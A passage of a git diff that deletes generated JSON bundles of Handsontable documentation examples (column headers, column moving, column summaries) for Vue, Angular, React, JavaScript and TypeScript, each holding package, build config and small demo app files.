\"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example6\");","/src/App.vue":"\n\n"},"docsPath":"guides/columns/column-header/vue/example6.vue","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example6","exampleTitle":"Header labels in the columns option","docPermalink":"/column-header","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__vue__example7.vue.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-header__vue__example7.vue.json deleted file mode 100644 index a53e8345..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-header__vue__example7.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Columns ▸ Column headers · Column header height · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example7\");","/src/App.vue":"\n\n"},"docsPath":"guides/columns/column-header/vue/example7.vue","breadcrumb":["Columns","Column headers"],"guide":"guides/columns/column-header/column-header.md","guideTitle":"Column headers","exampleId":"example7","exampleTitle":"Column header height","docPermalink":"/column-header","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-moving__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-moving__angular__example4.ts.json deleted file mode 100644 index 536eebbe..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-moving__angular__example4.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Columns ▸ Column moving · Control column moving · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\n\nconst data = [\n ['SKU-4821', 'Wireless keyboard', 'Harbor Goods', 142],\n ['SKU-0093', 'USB-C dock', 'Vertex Supply', 67],\n ['SKU-3148', '27-inch monitor', 'Alpine Supply Co.', 24],\n ['SKU-7720', 'Laptop stand', 'Northstar Wholesale', 89],\n ['SKU-1056', 'Noise-canceling headset', 'Summit Distribution', 35],\n];\n\n@Component({\n selector: 'example4-column-moving',\n standalone: true,\n imports: [HotTableModule],\n template: `\n
    \n
    \n \n
    \n
    \n \n `,\n})\n\nexport class AppComponent {\n readonly data = data;\n allowColumnMoving = false;\n readonly gridSettings: GridSettings = {\n colHeaders: ['SKU', 'Product', 'Supplier', 'Stock'],\n rowHeaders: true,\n manualColumnMove: true,\n beforeColumnMove: () => this.allowColumnMoving,\n stretchH: 'all',\n height: 'auto',\n };\n\n onAllowColumnMovingChange(event: Event): void {\n this.allowColumnMoving = (event.target as HTMLInputElement).checked;\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n { provide: HOT_GLOBAL_CONFIG, useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig },\n ],\n};"},"docsPath":"guides/columns/column-moving/angular/example4.ts","breadcrumb":["Columns","Column moving"],"guide":"guides/columns/column-moving/column-moving.md","guideTitle":"Column moving","exampleId":"example4","exampleTitle":"Control column moving","docPermalink":"/column-moving","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-moving__javascript__example4.js.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-moving__javascript__example4.js.json deleted file mode 100644 index c998bc13..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-moving__javascript__example4.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Columns ▸ Column moving · Control column moving · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n
    \n
    \n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\nregisterAllModules();\n\nconst data = [\n ['SKU-4821', 'Wireless keyboard', 'Harbor Goods', 142],\n ['SKU-0093', 'USB-C dock', 'Vertex Supply', 67],\n ['SKU-3148', '27-inch monitor', 'Alpine Supply Co.', 24],\n ['SKU-7720', 'Laptop stand', 'Northstar Wholesale', 89],\n ['SKU-1056', 'Noise-canceling headset', 'Summit Distribution', 35],\n];\n\nconst container = document.querySelector('#example4');\nconst allowColumnMovingInput = document.querySelector('#allow-column-moving');\nlet allowColumnMoving = false;\n\nallowColumnMovingInput.addEventListener('change', () => {\n allowColumnMoving = allowColumnMovingInput.checked;\n});\n\nnew Handsontable(container, {\n data,\n colHeaders: ['SKU', 'Product', 'Supplier', 'Stock'],\n rowHeaders: true,\n manualColumnMove: true,\n beforeColumnMove: () => allowColumnMoving,\n stretchH: 'all',\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-moving/javascript/example4.js","breadcrumb":["Columns","Column moving"],"guide":"guides/columns/column-moving/column-moving.md","guideTitle":"Column moving","exampleId":"example4","exampleTitle":"Control column moving","docPermalink":"/column-moving","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-moving__javascript__example4.ts.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-moving__javascript__example4.ts.json deleted file mode 100644 index 38609a7e..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-moving__javascript__example4.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Columns ▸ Column moving · Control column moving · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n
    \n
    \n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\nregisterAllModules();\n\nconst data = [\n ['SKU-4821', 'Wireless keyboard', 'Harbor Goods', 142],\n ['SKU-0093', 'USB-C dock', 'Vertex Supply', 67],\n ['SKU-3148', '27-inch monitor', 'Alpine Supply Co.', 24],\n ['SKU-7720', 'Laptop stand', 'Northstar Wholesale', 89],\n ['SKU-1056', 'Noise-canceling headset', 'Summit Distribution', 35],\n];\n\nconst container = document.querySelector('#example4')!;\nconst allowColumnMovingInput = document.querySelector('#allow-column-moving')!;\nlet allowColumnMoving = false;\n\nallowColumnMovingInput.addEventListener('change', () => {\n allowColumnMoving = allowColumnMovingInput.checked;\n});\n\nnew Handsontable(container, {\n data,\n colHeaders: ['SKU', 'Product', 'Supplier', 'Stock'],\n rowHeaders: true,\n manualColumnMove: true,\n beforeColumnMove: () => allowColumnMoving,\n stretchH: 'all',\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/columns/column-moving/javascript/example4.ts","breadcrumb":["Columns","Column moving"],"guide":"guides/columns/column-moving/column-moving.md","guideTitle":"Column moving","exampleId":"example4","exampleTitle":"Control column moving","docPermalink":"/column-moving","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-moving__react__example4.tsx.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-moving__react__example4.tsx.json deleted file mode 100644 index d0f4a3ae..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-moving__react__example4.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Columns ▸ Column moving · Control column moving · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example4\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef } from 'react';\nimport type { ChangeEvent } from 'react';\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\nregisterAllModules();\n\nconst data = [\n ['SKU-4821', 'Wireless keyboard', 'Harbor Goods', 142],\n ['SKU-0093', 'USB-C dock', 'Vertex Supply', 67],\n ['SKU-3148', '27-inch monitor', 'Alpine Supply Co.', 24],\n ['SKU-7720', 'Laptop stand', 'Northstar Wholesale', 89],\n ['SKU-1056', 'Noise-canceling headset', 'Summit Distribution', 35],\n];\n\nconst ExampleComponent = () => {\n const allowColumnMoving = useRef(false);\n\n const handleChange = (event: ChangeEvent) => {\n allowColumnMoving.current = event.target.checked;\n };\n\n return (\n
    \n
    \n
    \n \n
    \n
    \n allowColumnMoving.current}\n stretchH=\"all\"\n height=\"auto\"\n licenseKey=\"non-commercial-and-evaluation\"\n />\n
    \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/columns/column-moving/react/example4.tsx","breadcrumb":["Columns","Column moving"],"guide":"guides/columns/column-moving/column-moving.md","guideTitle":"Column moving","exampleId":"example4","exampleTitle":"Control column moving","docPermalink":"/column-moving","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-moving__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-moving__vue__example4.vue.json deleted file mode 100644 index b973fc51..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-moving__vue__example4.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Columns ▸ Column moving · Control column moving · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example4\");","/src/App.vue":"\n\n"},"docsPath":"guides/columns/column-moving/vue/example4.vue","breadcrumb":["Columns","Column moving"],"guide":"guides/columns/column-moving/column-moving.md","guideTitle":"Column moving","exampleId":"example4","exampleTitle":"Control column moving","docPermalink":"/column-moving","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__angular__example8.ts.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__angular__example8.ts.json deleted file mode 100644 index 6e42c5e6..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__angular__example8.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Columns ▸ Column summary · Set up column summaries, using a function (3) · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, ViewChild } from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-example8',\n template: `\n
    \n
    \n \n
    \n
    \n \n \n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent {\n @ViewChild(HotTableComponent, { static: false }) readonly hotTable!: HotTableComponent;\n\n readonly hotData = [[0, 1, 2], ['3c', '4b', 5], [], []];\n\n readonly hotSettings: GridSettings = {\n colHeaders: true,\n rowHeaders: true,\n columnSummary: [\n {\n type: 'sum',\n destinationRow: 0,\n destinationColumn: 0,\n reversedRowCoords: true,\n },\n {\n type: 'sum',\n destinationRow: 0,\n destinationColumn: 1,\n reversedRowCoords: true,\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n height: 'auto',\n };\n\n throwErrors(): void {\n this.hotTable?.hotInstance?.updateSettings({\n columnSummary: [\n {\n type: 'sum',\n destinationRow: 0,\n destinationColumn: 0,\n reversedRowCoords: true,\n suppressDataTypeErrors: false,\n },\n {\n type: 'sum',\n destinationRow: 0,\n destinationColumn: 1,\n reversedRowCoords: true,\n suppressDataTypeErrors: false,\n },\n ],\n });\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/columns/column-summary/angular/example8.ts","breadcrumb":["Columns","Column summary"],"guide":"guides/columns/column-summary/column-summary.md","guideTitle":"Column summary","exampleId":"example8","exampleTitle":"Set up column summaries, using a function (3)","docPermalink":"/column-summary","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__javascript__example11.js.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__javascript__example11.js.json deleted file mode 100644 index cddfd19f..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__javascript__example11.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Columns ▸ Column summary · Throw data type errors · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n
    \n
    \n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example11');\nconst throwErrorsButton = document.querySelector('#throwErrorsButton');\n\nconst hot = new Handsontable(container, {\n licenseKey: 'non-commercial-and-evaluation',\n data: [[0, 1, 2], ['3c', '4b', 5], [], []],\n colHeaders: true,\n rowHeaders: true,\n columnSummary: [\n {\n type: 'sum',\n destinationRow: 0,\n destinationColumn: 0,\n reversedRowCoords: true,\n },\n {\n type: 'sum',\n destinationRow: 0,\n destinationColumn: 1,\n reversedRowCoords: true,\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n height: 'auto',\n});\n\nthrowErrorsButton.addEventListener('click', () => {\n hot.updateSettings({\n columnSummary: [\n {\n type: 'sum',\n destinationRow: 0,\n destinationColumn: 0,\n reversedRowCoords: true,\n suppressDataTypeErrors: false,\n },\n {\n type: 'sum',\n destinationRow: 0,\n destinationColumn: 1,\n reversedRowCoords: true,\n suppressDataTypeErrors: false,\n },\n ],\n });\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/columns/column-summary/javascript/example11.js","breadcrumb":["Columns","Column summary"],"guide":"guides/columns/column-summary/column-summary.md","guideTitle":"Column summary","exampleId":"example11","exampleTitle":"Throw data type errors","docPermalink":"/column-summary","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__javascript__example11.ts.json b/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__javascript__example11.ts.json deleted file mode 100644 index 1a30f578..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__javascript__example11.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Columns ▸ Column summary · Throw data type errors · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n
    \n \n
    \n
    \n
